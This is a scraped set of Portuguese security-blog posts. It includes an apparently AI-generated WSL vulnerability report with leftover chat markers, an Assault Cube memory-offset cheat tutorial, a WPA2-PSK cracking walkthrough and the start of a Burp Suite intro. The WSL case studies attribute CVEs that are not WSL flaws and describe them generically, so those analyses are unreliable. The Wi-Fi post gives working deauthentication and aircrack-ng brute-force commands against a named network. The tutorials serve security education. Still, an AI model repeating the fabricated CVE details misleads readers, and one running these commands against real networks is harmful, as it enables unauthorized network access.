recursos de maneira mais eficiente do que no WSL 1. 2.3 Ferramentas e comandos disponíveis no WSL\nO WSL permite que os usuários executem ferramentas e comandos do Linux dentro do ambiente Windows. Isso inclui comandos de linha de comando, como ls, cd, cp, e mv, bem como ferramentas mais avançadas, como apt, yum, git, e docker.\nPara instalar e gerenciar distribuições Linux no WSL, os usuários podem utilizar o Microsoft Store ou o gerenciador de pacotes do Windows, como o Chocolatey. Após a instalação, os usuários podem acessar o sistema operacional Linux a partir da linha de comando ou de uma shell do Linux, como o bash ou o zsh.\nEm resumo, entender a arquitetura do WSL e como ele funciona é fundamental para analisar as vulnerabilidades do WSL. Ao conhecer a diferença entre o WSL 1 e o WSL 2, a interação entre o Windows e o sistema operacional Linux no WSL, e as ferramentas e comandos disponíveis no WSL, você estará melhor preparado para identificar e explorar as vulnerabilidades do WSL em seu projeto. [INST] Poderia me ajudar a entender melhor o item 3. Abordagem de Vulnerabilidades no WSL? [/INST] Claro, vou ajudar você a entender melhor o item 3: Abordagem de Vulnerabilidades no WSL. Neste item, abordaremos as ferramentas e técnicas de análise de vulnerabilidades no WSL, os métodos de exploração e explotação de vulnerabilidades no WSL, e o impacto das vulnerabilidades no WSL e na segurança do sistema Windows subjacente.\nExemplo de criação um usuário no sistema operacional Linux: 3. ABORDAGEM DE VULNERABILIDADES NO WSL 3.1 Ferramentas e técnicas de análise de vulnerabilidades no WSL\nPara analisar as vulnerabilidades do WSL, você pode utilizar uma variedade de ferramentas e técnicas de análise de vulnerabilidades, incluindo:\nFerramentas de varredura de vulnerabilidades: Ferramentas como Nessus, OpenVAS, e Nexpose podem ser utilizadas para varrer o sistema WSL em busca de vulnerabilidades conhecidas. Essas ferramentas utilizam um conjunto de assinaturas e técnicas para identificar possíveis vulnerabilidades no sistema operacional Linux e em aplicativos e serviços executados no WSL.\nAnálise de código-fonte: Analisar o código-fonte do sistema operacional Linux e de aplicativos e serviços executados no WSL pode ajudar a identificar vulnerabilidades e falhas de segurança. Ferramentas como RATS, Flawfinder, e RSE peuvent ser utilizadas para analisar o código-fonte em busca de potenciais problemas de segurança.\nTestes de invasão: Testes de invasão, também conhecidos como pentesting, podem ser realizados no sistema WSL para identificar vulnerabilidades e avaliar a resistência do sistema a ataques. Ferramentas como Metasploit, Burp Suite, e Nmap podem ser utilizadas para realizar testes de invasão no WSL.\nAnálise de logs: A análise de logs do sistema e de aplicativos pode ajudar a identificar atividades suspeitas e possíveis explorações de vulnerabilidades no WSL. Ferramentas como ELK Stack (Elasticsearch, Logstash, Kibana) e Graylog podem ser utilizadas para coletar, armazenar e analisar logs do sistema WSL.\n3.2 Métodos de exploração e explotação de vulnerabilidades no WSL\nUma vez identificadas as vulnerabilidades no WSL, é importante entender como explorá-las e explorá-las para avaliar seu impacto e testar possíveis soluções de mitigação. A exploração e explotação de vulnerabilidades no WSL pode ser realizada utilizando técnicas como:\nExploits: Exploits são ferramentas ou scripts que exploram vulnerabilidades conhecidas em sistemas e aplicativos. Eles podem ser utilizados para demonstrar o impacto de uma vulnerabilidade e testar soluções de mitigação. Ferramentas como Metasploit e Exploit-DB oferecem uma ampla gama de exploits para várias vulnerabilidades. PoC (Proof of Concept): Um PoC é uma demonstração de conceito que prova a viabilidade de uma técnica ou ferramenta. PoCs podem ser utilizados para explorar vulnerabilidades no WSL e avaliar seu impacto em um ambiente controlado. Fuzzing: O fuzzing é uma técnica de teste de software que envolve a geração de dados de entrada aleatórios ou semi-aleatórios para encontrar bugs e vulnerabilidades em aplicativos e sistemas. Ferramentas de fuzzing, como American Fuzzy Lop (AFL) e LibFuzzer, podem ser utilizadas para encontrar vulnerabilidades no WSL. 3.3 Impacto das vulnerabilidades no WSL e na segurança do sistema Windows subjacente**\nAs vulnerabilidades no WSL podem ter um impacto significativo na segurança do sistema Windows subjacente. Algumas das possíveis consequências das vulnerabilidades no WSL incluem:\nAcesso não autorizado: Vulnerabilidades no WSL podem permitir que atacantes obtenham acesso não autorizado ao sistema operacional Linux ou a dados armazenados no WSL. Comprometimento do sistema: Vulnerabilidades no WSL podem ser exploradas para comprometer o sistema operacional Linux ou o sistema Windows subjacente, permitindo que atacantes executem código malicioso ou obtenham controle total do sistema. Fuga de informações: Vulnerabilidades no WSL podem permitir que atacantes acessem informações sensíveis armazenadas no sistema operacional Linux ou no sistema Windows subjacente. Desempenho reduzido: Vulnerabilidades no WSL podem afetar o desempenho do sistema operacional Linux ou do sistema Windows subjacente, resultando em lentidão ou instabilidade do sistema. Em resumo, para abordar as vulnerabilidades do WSL, é importante entender as ferramentas e técnicas de análise de vulnerabilidades disponíveis, os métodos de exploração e explotação de vulnerabilidades, e o impacto dessas vulnerabilidades na segurança do sistema Windows subjacente. Ao utilizar essas ferramentas e técnicas, se poderá identificar e avaliar as vulnerabilidades do WSL de maneira mais efetiva e contribuir para a segurança do sistema.\nExemplos de comandos para varrer o sistema em busca de vulnerabilidades:\nUsando o programa Nmap:\nTestando o ping no site testphp.vulnweb.com: Testando as vulnerabilidades utilizando Nmap, com diferentes parâmetros: 4. ANÁLISE DE VULNERABILIDADES Nesta seção, abordaremos a classificação de vulnerabilidades no WSL, as categorias de vulnerabilidades no WSL, e os métodos de detecção e mitigação de vulnerabilidades no WSL.\n4.1 Classificação de vulnerabilidades no WSL\nPara padronizar a classificação de vulnerabilidades, são utilizadas várias frameworks, como o Common Vulnerability Scoring System (CVSS) e o Common Weakness Enumeration (CWE). Essas frameworks ajudam a avaliar a gravidade e o impacto das vulnerabilidades, facilitando a tomada de decisão sobre a priorização e a mitigação dessas vulnerabilidades.\nCVSS (Common Vulnerability Scoring System): O CVSS é um framework amplamente utilizado para classificar a gravidade das vulnerabilidades com base em vários fatores, como a acessibilidade da vulnerabilidade, a integridade do sistema afetado, a confidencialidade dos dados afetados, e a disponibilidade do sistema afetado. O CVSS atribui uma pontuação a cada vulnerabilidade, com valores variando de 0 a 10, onde 10 indica a maior gravidade. CWE (Common Weakness Enumeration): O CWE é um framework que enumera e descreve fraquezas comuns em software, incluindo vulnerabilidades de segurança. O CWE ajuda a padronizar a classificação de vulnerabilidades e facilita a identificação de padrões e tendências em relação a certas categorias de vulnerabilidades. 4.2 Categorias de vulnerabilidades no WSL\nAs vulnerabilidades no WSL podem ser categorizadas de várias maneiras, dependendo do aspecto que se deseja destacar. Algumas categorias comuns de vulnerabilidades no WSL incluem:\nFalhas de segurança: Vulnerabilidades que afetam a segurança do sistema, como falhas de autenticação, falhas de autorização, e falhas de criptografia. Falhas de estabilidade: Vulnerabilidades que afetam a estabilidade do sistema, como falhas de memória, falhas de inicialização, e falhas de gerenciamento de recursos. Falhas de desempenho: Vulnerabilidades que afetam o desempenho do sistema, como falhas de otimização, falhas de gerenciamento de recursos, e falhas de escalabilidade. Vulnerabilidades específicas do WSL: Vulnerabilidades que afetam o WSL de maneira única, como falhas na interação entre o Windows e o sistema operacional Linux, falhas no compartilhamento de recursos, e falhas na integração de aplicativos. 4.3 Métodos de detecção e mitigação de vulnerabilidades no WSL\nPara detectar e mitigar vulnerabilidades no WSL, você pode utilizar uma variedade de métodos, incluindo:\nFerramentas de varredura de vulnerabilidades: Ferramentas como Nessus, OpenVAS, e Nexpose podem ser utilizadas para varrer o sistema WSL em busca de vulnerabilidades conhecidas. Essas ferramentas utilizam um conjunto de assinaturas e técnicas para identificar possíveis vulnerabilidades no sistema operacional Linux e em aplicativos e serviços executados no WSL. Atualizações de segurança: As atualizações de segurança são uma forma importante de mitigar vulnerabilidades no WSL. Ao manter o sistema operacional Linux e os aplicativos e serviços executados no WSL atualizados, você pode garantir que as vulnerabilidades conhecidas sejam corrigidas e que o sistema esteja protegido contra ameaças recentes. Práticas recomendadas de segurança: A adoção de práticas recomendadas de segurança, como a configuração adequada do sistema, o uso de senhas fortes, e a limitação de privilégios, pode ajudar a mitigar vulnerabilidades no WSL e a proteger o sistema contra ameaças. Monitoramento e análise de logs: O monitoramento e a análise de logs do sistema e de aplicativos podem ajudar a identificar atividades suspeitas e possíveis explorações de vulnerabilidades no WSL. Ferramentas como ELK Stack (Elasticsearch, Logstash, Kibana) e Graylog podem ser utilizadas para coletar, armazenar e analisar logs do sistema WSL. Em resumo, para analisar as vulnerabilidades do WSL, é importante entender como classificar e categorizar essas vulnerabilidades, bem como os métodos de detecção e mitigação disponíveis. Ao utilizar ferramentas de varredura de vulnerabilidades, atualizações de segurança, práticas recomendadas de segurança, e monitoramento e análise de logs, você poderá detectar e mitigar vulnerabilidades no WSL de maneira mais efetiva, contribuindo para a segurança do sistema.\n5. ESTUDO DE CASOS: VULNERABILIDADES DO WSL Nesta seção, apresentaremos três estudos de caso sobre vulnerabilidades do WSL, incluindo uma descrição detalhada de cada vulnerabilidade, seu impacto, análise técnica, e a correção ou mitigação relacionada. Esses estudos de caso foram selecionados para ilustrar diferentes tipos de vulnerabilidades do WSL e sua importância na segurança do sistema.\n5.1 Estudo de caso 1: CVE-2019-1162\nDescrição: A CVE-2019-1162 é uma vulnerabilidade de execução remota de código (RCE) no WSL que afeta a maneira como o WSL gerencia o compartilhamento de arquivos entre o Windows e o sistema operacional Linux. A vulnerabilidade permite que um atacante execute código arbitrário com privilégios elevados no sistema operacional Linux dentro do WSL, comprometendo a integridade do sistema.\nImpacto: A exploração dessa vulnerabilidade pode permitir que um atacante obtenha controle total do sistema operacional Linux dentro do WSL e, em seguida, acesse o sistema Windows subjacente. Isso pode levar à fuga de informações, acesso não autorizado, ou mesmo ao comprometimento do sistema.\nAnálise técnica:\nA vulnerabilidade é causada por uma falha no gerenciamento de permissões de arquivo no WSL, que permite que arquivos sejam escritos em locais indevidos do sistema de arquivos do Linux. Um atacante pode explorar essa vulnerabilidade criando um arquivo especialmente projetado para ser escrito em um local indevido, permitindo a execução de código arbitrário com privilégios elevados. A exploração dessa vulnerabilidade requer acesso físico ou remoto ao sistema afetado e pode ser mitigada desabilitando o compartilhamento de arquivos entre o Windows e o sistema operacional Linux no WSL. Correção/Mitigação: A Microsoft lançou uma atualização de segurança para corrigir essa vulnerabilidade, que pode ser aplicada através do Windows Update. Além disso, desabilitar o compartilhamento de arquivos entre o Windows e o sistema operacional Linux no WSL também pode mitigar essa vulnerabilidade.\n5.2 Estudo de caso 2: CVE-2020-1030\nDescrição: A CVE-2020-1030 é uma vulnerabilidade de negação de serviço (DoS) no WSL que afeta a maneira como o WSL gerencia a alocação de memória. A vulnerabilidade pode ser explorada para causar uma falha do sistema operacional Linux dentro do WSL, resultando em uma interrupção do serviço.\nImpacto: A exploração dessa vulnerabilidade pode resultar em uma interrupção do serviço do sistema operacional Linux dentro do WSL, o que pode afetar a disponibilidade de aplicativos e serviços executados no WSL. Em alguns casos, a exploração dessa vulnerabilidade também pode permitir que um atacante obtenha acesso não autorizado ao sistema operacional Linux ou ao sistema Windows subjacente.\nAnálise técnica:\nA vulnerabilidade é causada por uma falha na alocação de memória no WSL, que pode ser explorada para esgotar os recursos do sistema e causar uma falha do sistema operacional Linux. Um atacante pode explorar essa vulnerabilidade enviando uma grande quantidade de solicitações de alocação de memória ao sistema operacional Linux dentro do WSL, resultando em um ataque DoS. A exploração dessa vulnerabilidade requer acesso físico ou remoto ao sistema afetado e pode ser mitigada limitando o uso de recursos do sistema operacional Linux dentro do WSL. Correção/Mitigação: A Microsoft lançou uma atualização de segurança para corrigir essa vulnerabilidade, que pode ser aplicada através do Windows Update. Além disso, limitar o uso de recursos do sistema operacional Linux dentro do WSL também pode mitigar essa vulnerabilidade.\n5.3 Estudo de caso 3: CVE-2021-28695\nDescrição: A CVE-2021-28695 é uma vulnerabilidade de execução remota de código (RCE) no WSL que afeta a maneira como o WSL gerencia a integração de aplicativos entre o Windows e o sistema operacional Linux. A vulnerabilidade permite que um atacante execute código arbitrário com privilégios elevados no sistema operacional Linux dentro do WSL, comprometendo a integridade do sistema.\nImpacto: A exploração dessa vulnerabilidade pode permitir um Impacto: A exploração dessa vulnerabilidade pode permitir que um atacante obtenha controle total do sistema operacional Linux dentro do WSL e, em seguida, acesse o sistema Windows subjacente. Isso pode levar à fuga de informações, acesso não autorizado, ou mesmo ao comprometimento do sistema.\nAnálise técnica:\nA vulnerabilidade é causada por uma falha na integração de aplicativos entre o Windows e o sistema operacional Linux no WSL, que permite que um atacante execute código arbitrário com privilégios elevados. Um atacante pode explorar essa vulnerabilidade criando um aplicativo especialmente projetado para ser executado no sistema operacional Linux dentro do WSL, permitindo a execução de código arbitrário com privilégios elevados. A exploração dessa vulnerabilidade requer acesso físico ou remoto ao sistema afetado e pode ser mitigada desabilitando a integração de aplicativos entre o Windows e o sistema operacional Linux no WSL. Correção/Mitigação: A Microsoft lançou uma atualização de segurança para corrigir essa vulnerabilidade, que pode ser aplicada através do Windows Update. Além disso, desabilitar a integração de aplicativos entre o Windows e o sistema operacional Linux no WSL também pode mitigar essa vulnerabilidade. 6. PRÁTICAS RECOMENDADAS PARA MITIGAÇÃO DE VULNERABILIDADES NO WSL Para mitigar as vulnerabilidades do WSL e proteger o sistema contra ameaças, é importante seguir práticas recomendadas de segurança. Neste item, abordaremos algumas das melhores práticas para mitigar vulnerabilidades no WSL.\n6.1 Atualizações de segurança\nManter o sistema atualizado: As atualizações de segurança são uma das formas mais importantes de mitigar vulnerabilidades no WSL. Certifique-se de manter o sistema operacional Linux e os aplicativos e serviços executados no WSL atualizados com as últimas atualizações de segurança.\nHabilitar atualizações automáticas: Para garantir que o sistema esteja sempre protegido, habilite as atualizações automáticas para o sistema operacional Linux e para os aplicativos e serviços executados no WSL.\n6.2 Configuração de segurança\nConfiguração adequada do sistema: Configure o sistema operacional Linux dentro do WSL com as melhores práticas de segurança em mente. Isso inclui a configuração de permissões de usuário, a limitação de privilégios, e a proteção contra ameaças comuns, como ataques de injeção de código e ataques de negação de serviço. Desabilitar serviços desnecessários: Desabilite serviços desnecessários no sistema operacional Linux dentro do WSL para reduzir a superfície de ataque e minimizar o risco de exploração de vulnerabilidades. Habilitar firewall: Configure um firewall para proteger o sistema operacional Linux dentro do WSL contra ameaças externas. Isso pode incluir a configuração de regras de firewall para limitar o acesso a ports específicos ou para proibir o acesso a serviços desnecessários. 6.3 Gerenciamento de acesso\nUso de contas de usuário não administrativas: Crie contas de usuário não administrativas para uso diário no sistema operacional Linux dentro do WSL. Isso ajudará a limitar os privilégios dos usuários e a proteger o sistema contra ameaças. Autenticação forte: Utilize autenticação forte, como senhas complexas ou autenticação de dois fatores, para proteger as contas de usuário no sistema operacional Linux dentro do WSL. Controle de acesso: Implemente um sistema de controle de acesso para limitar o acesso a recursos do sistema operacional Linux dentro do WSL apenas aos usuários e aplicativos autorizados. 6.4 Monitoramento e análise de logs\nMonitoramento de logs: Configure o sistema operacional Linux dentro do WSL para monitorar e registrar atividades suspeitas e possíveis explorações de vulnerabilidades. Ferramentas como ELK Stack (Elasticsearch, Logstash, Kibana) e Graylog podem ser utilizadas para coletar, armazenar e analisar logs do sistema WSL.\nAnálise de logs: Análise regularmente os logs do sistema operacional Linux dentro do WSL para identificar atividades suspeitas e possíveis explorações de vulnerabilidades. Isso ajudará a detectar e mitigar ameaças em estágio inicial. 6.5 Educação e conscientização\nEducação dos usuários: Eduque os usuários sobre as melhores práticas de segurança no uso do WSL, incluindo a criação de senhas fortes, a identificação de tentativas de phishing, e a importância de atualizar o sistema regularmente.\nConscientização sobre ameaças: Mantenha os usuários informados sobre as ameaças atuais e as melhores práticas para proteger o sistema contra essas ameaças. Isso ajudará a criar uma cultura de segurança mais forte dentro da organização.\nEm resumo, para mitigar as vulnerabilidades do WSL e proteger o sistema contra ameaças, é importante seguir práticas recomendadas de segurança, como manter o sistema atualizado, configurar o sistema adequadamente, gerenciar o acesso de maneira apropriada, monitorar e analisar logs, e educar e conscientizar os usuários. Ao seguir essas práticas, você pode ajudar a proteger o sistema WSL e a organização contra ameaças e vulnerabilidades.\n7. CONCLUSÃO Em conclusão, este projeto explorou as vulnerabilidades do Windows Subsystem for Linux (WSL) e apresentou um roteiro detalhado para abordar essas vulnerabilidades de uma maneira prática e eficiente. Ao longo deste projeto, aprendemos sobre a arquitetura do WSL, as ferramentas e técnicas de análise de vulnerabilidades no WSL, os métodos de exploração e explotação de vulnerabilidades no WSL, a classificação e categorização de vulnerabilidades no WSL, e as práticas recomendadas para mitigar essas vulnerabilidades.\nAo seguir o roteiro apresentado neste projeto, você e seu grupo poderão identificar, analisar e mitigar vulnerabilidades no WSL de uma maneira mais efetiva. Isso ajudará a proteger o sistema WSL e a organização contra ameaças e vulnerabilidades, melhorando a segurança do ambiente de trabalho.\nLembramos que a segurança do sistema é uma responsabilidade compartilhada por todos os envolvidos, desde os desenvolvedores de software até os usuários finais. Portanto, é importante que todos estejam comprometidos com a adoção de práticas recomendadas de segurança e com a conscientização sobre as ameaças atuais. Em última análise, este projeto visa contribuir para a conscientização e a segurança do WSL em ambiente educacional, ajudando a proteger o sistema e os dados dos usuários contra ameaças e vulnerabilidades. Ao seguir as práticas recomendadas apresentadas neste roteiro, você e seu grupo poderão fazer uma diferença significativa na segurança do WSL e da organização.\n8. REFERÊNCIAS Fontes Utilizadas:\n8.1. Implications of Windows Subsystem for Linux for Adversaries\nAutor: Qualys Research Team Data de Publicação: 22 de março de 2022 URL: https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1 Este artigo aborda as implicações do WSL para adversários e defensores, explorando as diferentes riscos que o WSL apresenta para um ambiente de TI empresarial. O artigo discute a arquitetura do WSL, as técnicas de ataque e exploração, e as práticas recomendadas para mitigar essas vulnerabilidades.\nIs WSL 2 Secure for Commercial Work? Autor: Security Stack Exchange Data de Publicação: 31 de agosto de 2021 URL: https://security.stackexchange.com/questions/254795/is-wsl-2-secure-for-commercial-work Este artigo discute a segurança do WSL 2 para uso comercial, destacando os riscos de roubo de credenciais e dados sensíveis processados por aplicativos Linux dentro do WSL. O artigo também menciona a vulnerabilidade de escalada de privilégios local e as dificuldades de detecção e mitigação dessas ameaças.\nHow to Write a Vulnerability Report Autor: Infosec Institute Data de Publicação: 1 de fevereiro de 2022 URL: https://www.infosecinstitute.com/resources/vulnerabilities/how-to-write-a-vulnerability-report/ Este artigo fornece orientações sobre como escrever um relatório de vulnerabilidade, abordando as seções necessárias, como resumo executivo, detalhes técnicos, descobertas, recomendações de mitigação, e como estruturar o relatório para atender às necessidades de diferentes audiências.\nGuia Prático da Norma APA (2020, 7ª edição) Autor: Clopes Data de Publicação: 2020 URL: https://repositorio.ispa.pt/bitstream/10400.12/8617/1/NormasAPA_Ed7%28Clopes%29.pdf Este guia fornece orientações sobre como escrever um trabalho acadêmico seguindo as diretrizes da norma APA, incluindo o layout da página, formato da fonte, folha de rosto, resumo, introdução, metodologia, resultados, discussão, e referências.\nConsultas :\nQualys Research Team. (2022, March 22). Implications of Windows Subsystem for Linux for Adversaries: Defenders Part 1. Retrieved from https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1\nSecurity Stack Exchange. (2021, August 31). Is WSL 2 Secure for Commercial Work? Retrieved from https://security.stackexchange.com/questions/254795/is-wsl-2-secure-for-commercial-work\nInfosec Institute. (2022, February 1). How to Write a Vulnerability Report. Retrieved from https://www.infosecinstitute.com/resources/vulnerabilities/how-to-write-a-vulnerability-report/\nCoples. (2020). Guia Prático da Norma APA (7ª edição). Retrieved from https://repositorio.ispa.pt/bitstream/10400.12/8617/1/NormasAPA_Ed7%28Clopes%29.pdf\n","permalink":"http://grisufrj.github.io/blog/2024-08-06-vulnerabilities_wsl/","summary":"RESUMO Este trabalho tem como objetivo apresentar uma análise detalhada sobre as vulnerabilidades doVulnerabilidades do windows subsystem for linux (WSL), uma funcionalidade do sistema operacional Windows que permite aos usuários executar um sistema operacional Linux dentro do próprio sistema operacional Windows. Este trabalho tem o objetivo de explorar as vulnerabilidades do WSL de uma maneira estruturada e detalhada, ajudando a aumentar a conscientização e a segurança em torno desta ferramenta útil, mas potencialmente vulnerável.","title":"Vulnerabilidades do Windows Subsystem for Linux (WSL)"},{"content":"Análise do Jogo Introdução Este material visa fornecer um olhar detalhado sobre o processo de desenvolvimento de uma POC, proof of concept, para cheats internos usando o jogo Assault Cube, um jogo de tiro em primeira pessoa de código aberto, perfeito para o escopo desse material.\nNosso objetivo aqui não é encorajar o uso desonesto de cheats, mas sim explorar as complexidades e habilidades técnicas necessárias para criar e entender tais modificações.\nEncontrando Offsets Offsets são endereços na memória onde dados específicos, como saúde, munição, ou posição do jogador, são armazenados. Há dois métodos para encontra-los.\nMétodo Estático: Alguns offsets são estáticos, sempre serão carregados na mesma posição de memória relativa ao endereço base do processo, e podem ser encontrados no código do jogo, com isso podemos fazer uma análise estática com ferramentas como IDA e Ghidra. Método Dinâmico: Será o método abordado nesse material utilizando scanners de memória como Cheat Engine para encontrar offsets dinâmicos. Para isso teremos que abrir o jogo e realizar sucessivos scans até encontrarmos o o valor que queremos (por exemplo vida, munição etc.). Primeiro vamos abrir o Assault Cube e o Cheat Engine, selecione o ícone de computador para attach ao processo do jogo. Escolha AssaultCube.exe na lista de processos.\nNo jogo, observe quantas balas você tem. Por padrão, você deve começar com 20 balas. Volte ao Cheat Engine e no campo Value, digite 20.\nClique em First Scan. O Cheat Engine listará todos os endereços de memória que atualmente têm o valor 20.\nVeja quantos valores candidatos temos na lista, 2.349 candidatos, isso é muita coisa vamos filtrar mais. Voltando ao jogo e gaste algumas balas para alterar o valor e vamos scannear novamente e os resultados serão filtrados, mostrando apenas os endereços cujos valores mudaram, para 19 no caso da imagem.\nObtivemos um número muito menor de resultados, ou seja, uma desses dois resultados é o valor real da munição, com duplo clique adicionamos cada um dos valores em nossa lista e alteramos o campo Value no Cheat Engine, o resultado que alterar o valor da munição do jogo será o correto.\nAgora que identificamos o endereço de memória da munição, precisamos entender um conceito crucial em jogos e programas modernos: a alocação dinâmica de memória.\nPor que o endereço muda? Quando reabrimos o jogo e repetimos o processo de scan pela munição, notamos que ela está em um novo endereço de memória. Isso ocorre devido à Alocação Dinâmica de Memória.\nOs jogos, especialmente os mais complexos, frequentemente gerenciam sua memória de forma dinâmica, reorganizando e realocando dados conforme necessário para otimizar o desempenho e a experiência do jogador.\nPara navegar por essa estrutura de memória em constante mudança, utilizamos uma abordagem baseada em ponteiros. Estes ponteiros atuam como marcadores, guiando-nos através de várias camadas de dados até chegarmos ao valor desejado.\nPor exemplo, ao carregar um jogo, podemos seguir uma cadeia de ponteiros que passa por:\nCada passo nesta cadeia nos aproxima do endereço específico onde a quantidade de munição do jogador é armazenada. Ao identificar e seguir esses ponteiros, podemos localizar de forma confiável e eficiente os dados relevantes, mesmo quando seu endereço exato na memória muda a cada sessão do jogo.\nVoltando à prática, no Cheat Engine, clicamos com o botão direito e escolha a opção Find out what writes to this address [F6]. Em jogo vamos dar alguns tiros para atualizar o valor da munição e registrar quais instruções modificam o valor da munição.\nAnalisando o disassembly, podemos perceber a instrução mov esi, [esi + 14] aparece imediatamente antes do decremento. Isso sugere que o jogo calcula o endereço da munição ajustando o valor atual de esi com um offset de 14. O valor em esi, após este ajuste, aponta para onde a munição é armazenada. A execução de dec [esi] após o ajuste de endereço significa que esi agora aponta diretamente para a quantidade de munição, e o jogo está pronto para subtrair uma unidade dessa quantidade.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mov [edx],ecx mov esi,[esi+14] dec [esi] push edi mov edi,[esp+14] ;EAX=004FC9FC ;EBX=00000000 ;ECX=00000078 ;EDX=00DCA6A0 ;ESI=00DCA678 (munição) ;EDI=016CD5D7 ;EBP=0019FAEC ;ESP=0019FAB8 ;EIP=004637EB Portanto temos até agora:\nAgora vamos achar o ponteiro para DCA664 e encontraremos o seguinte resultado.\nE repetimos o processo de Engenharia Reversa até achar o ponteiro estático, resultando no seguinte esquema.\nConcluindo, vamos anotar os offsets em um arquivo offsets.h.\n1 2 3 4 5 // Offsets for Assault Cube 1.2.0.2 const unsigned int baseAddr = 0x400000; const unsigned int offsetPlayer = 0x109B74; const unsigned int offsetCurrWeapon = 0x378; const unsigned int offsetAmmunitionPtr = 0x14; Próximos Passos Confira a Parte 2 da nossa série sobre hacking no Assault Cube.\n","permalink":"http://grisufrj.github.io/blog/2024-01-07-assault-cube-hack-parte-1/","summary":"Análise do Jogo Introdução Este material visa fornecer um olhar detalhado sobre o processo de desenvolvimento de uma POC, proof of concept, para cheats internos usando o jogo Assault Cube, um jogo de tiro em primeira pessoa de código aberto, perfeito para o escopo desse material.\nNosso objetivo aqui não é encorajar o uso desonesto de cheats, mas sim explorar as complexidades e habilidades técnicas necessárias para criar e entender tais modificações.","title":"Assault Cube Hack: Parte 1"},{"content":"Introdução O objetivo dessa postagem é introduzir o leitor às principais etapas de conexão do protocolo WPA2-PSK (Wi-Fi Protected Access Pre Shared Key) e como os ataques a esse protocolo funcionam.\nO Que é o WPA2-PSK? O Protocolo WPA2-PSK (Wi-Fi Protected Access 2 - Pre-Shared Key) é um padrão de segurança para redes sem fio que foi desenvolvido para melhorar a proteção oferecida pelo seu antecessor, o WPA (Wi-Fi Protected Access). O WPA2-PSK é amplamente utilizado para proteger redes Wi-Fi domésticas e empresariais, garantindo a confidencialidade e a integridade das comunicações sem fio.\nA sigla \u0026ldquo;PSK\u0026rdquo; refere-se a \u0026ldquo;Pre-Shared Key\u0026rdquo; (Chave Pré-Compartilhada), indicando que a segurança da rede é baseada em uma chave compartilhada entre os dispositivos que desejam se conectar à rede Wi-Fi. Essa chave, também conhecida como senha de rede, é configurada previamente no roteador ou ponto de acesso Wi-Fi e deve ser inserida nos dispositivos clientes para estabelecer a conexão segura.\nO funcionamento do WPA2-PSK envolve a utilização de algoritmos de criptografia robustos, como o AES (Advanced Encryption Standard), para proteger a transmissão de dados entre os dispositivos conectados à rede. A chave pré-compartilhada é essencial para a autenticação dos dispositivos, garantindo que apenas aqueles com a senha correta possam se conectar à rede.\nAtaque O ataque ao protocolo WPA2-PSK consiste em capturar o handshake da conexão, usando uma antena em modo de monitoramente. Em posse do handshake, realizamos bruteforce das possíveis senhas.\nFinalizar processos\nAntes de colocarmos em modo de monitoramento, existem processos que podem dificultar a execução do programa:\n1 airmon-ng check Caso seja necessário finalizar algum processo, utilizamos o comando abaixo\n1 airmon-ng check kill Configuração da antena\nColocar a placa no modo de monitoramento o comando abaixo coloca a placa em modo de monitoramento. 1 airmon-ng start wlan0 obs: Após esse comando, é possível que a interface (placa) tenha mudado de nome. Para consultar os dispositivos basta executar o comando “iwconfig“. Após executarmos esse comando, percebemos que a placa manteve o mesmo nome “wlan0”, mas em alguns casos há adição de um “mon”(monitor) ao final do nome, resultando em “wlan0mon”.\nMonitorar as redes para selecionar o alvo o comando abaixo monitora as redes 1 airodump-ng wlan0 informações do alvo: essid = “baby yoda comunista” bssid = “40:EE:DD:39:C7:E8”\nTrocar o canal da placa para o mesmo canal da rede alvo ifconfig wlan0 down - derruba a placa para fazermos as modificações iwconfig wlan0 channel 6 - troca o canal da placa para a mesma da rede alvo ifconfig wlan0 up - sobe a placa após fazermos as modificações iwlist wlan0 channel - mostra todos os canais da placa e o canal atual da placa No github abaixo tem um script em python para automatizar os passos de troca de canal https://github.com/jhaysonj/projeto-NM/blob/main/wifi.sh\nMonitorar a rede alvo o comando abaixo monitora a rede e salva as informações monitoradas em arquivos de nome “wpa_baby_yoda” 1 airodump-ng wlan0 --bssid 40:EE:DD:39:C7:E8 --channel 8 -w wpa_baby_yoda Todos os endereços macs da coluna “STATION” são dispositivos conectados à rede.\nArquivos gerados Captura de handshake O handshake é feito toda vez que um dispositivo se conecta à rede, neste caso, podemos simplesmente esperar um dispositivo se conectar.\nAtaque de desautenticação Para facilitar o processo de captura de handshake, utilizaremos um ataque chamado ataque de desautenticação, onde forçamos a desconexão do dispositivo, para que o alvo se reconecte e assim capturamos o handshake. O comando abaixo envia pacotes que desautenticam o dispositivo.\n1 aireplay-ng -0 10 -a 40:EE:DD:39:C7:E8 wlan0 -c 64:A2:00:0D:04:0E Após isso, conseguimos capturar o handshake, como mostra a imagem abaixo\nRealizar a quebra da senha o comando abaixo faz um bruteforce para realizar a quebra da senha 1 aircrack-ng -a 2 -b 40:EE:DD:39:C7:E8 -w ./Documents/wordlist_numerica.txt ./Desktop/wpa_baby_yoda-02.cap Referências Aircrack: https://www.aircrack-ng.org/doku.php?id=airmon-ng ","permalink":"http://grisufrj.github.io/blog/2024-01-06-wpa2-psk/","summary":"Introdução O objetivo dessa postagem é introduzir o leitor às principais etapas de conexão do protocolo WPA2-PSK (Wi-Fi Protected Access Pre Shared Key) e como os ataques a esse protocolo funcionam.\nO Que é o WPA2-PSK? O Protocolo WPA2-PSK (Wi-Fi Protected Access 2 - Pre-Shared Key) é um padrão de segurança para redes sem fio que foi desenvolvido para melhorar a proteção oferecida pelo seu antecessor, o WPA (Wi-Fi Protected Access).","title":"WPA-2 PSK: Capturando conexões e quebra de hashes"},{"content":"Introdução O objetivo dessa postagem é introduzir o leitor às principais funcionalidades do Burp Suite.\nO Que é o Burp Suite? Em termos simples, o Burp Suite é um software projetado para testes de segurança em aplicativos web.\nPrincipais Funcionalidades: Proxy\nO proxy intercepta as requisições e respostas entre o navegador (cliente) e o servidor, permitindo aos usuários analisar e manipular o tráfego. Isso é fundamental para identificar e corrigir possíveis falhas de segurança.\nRepeater\nOs usuários podem ajustar manualmente os parâmetros das requisições para analisar como o aplicativo responde a diferentes inputs.\nAnalisar Respostas: O Repeater exibe de forma as respostas do servidor, facilitando a análise detalhada do comportamento do aplicativo.\nIntruder\nAtaques de Força Bruta: Essa ferramenta é valiosa para realizar ataques de força bruta, onde é possível automatizar tentativas de quebra de senhas ou descoberta de parâmetros 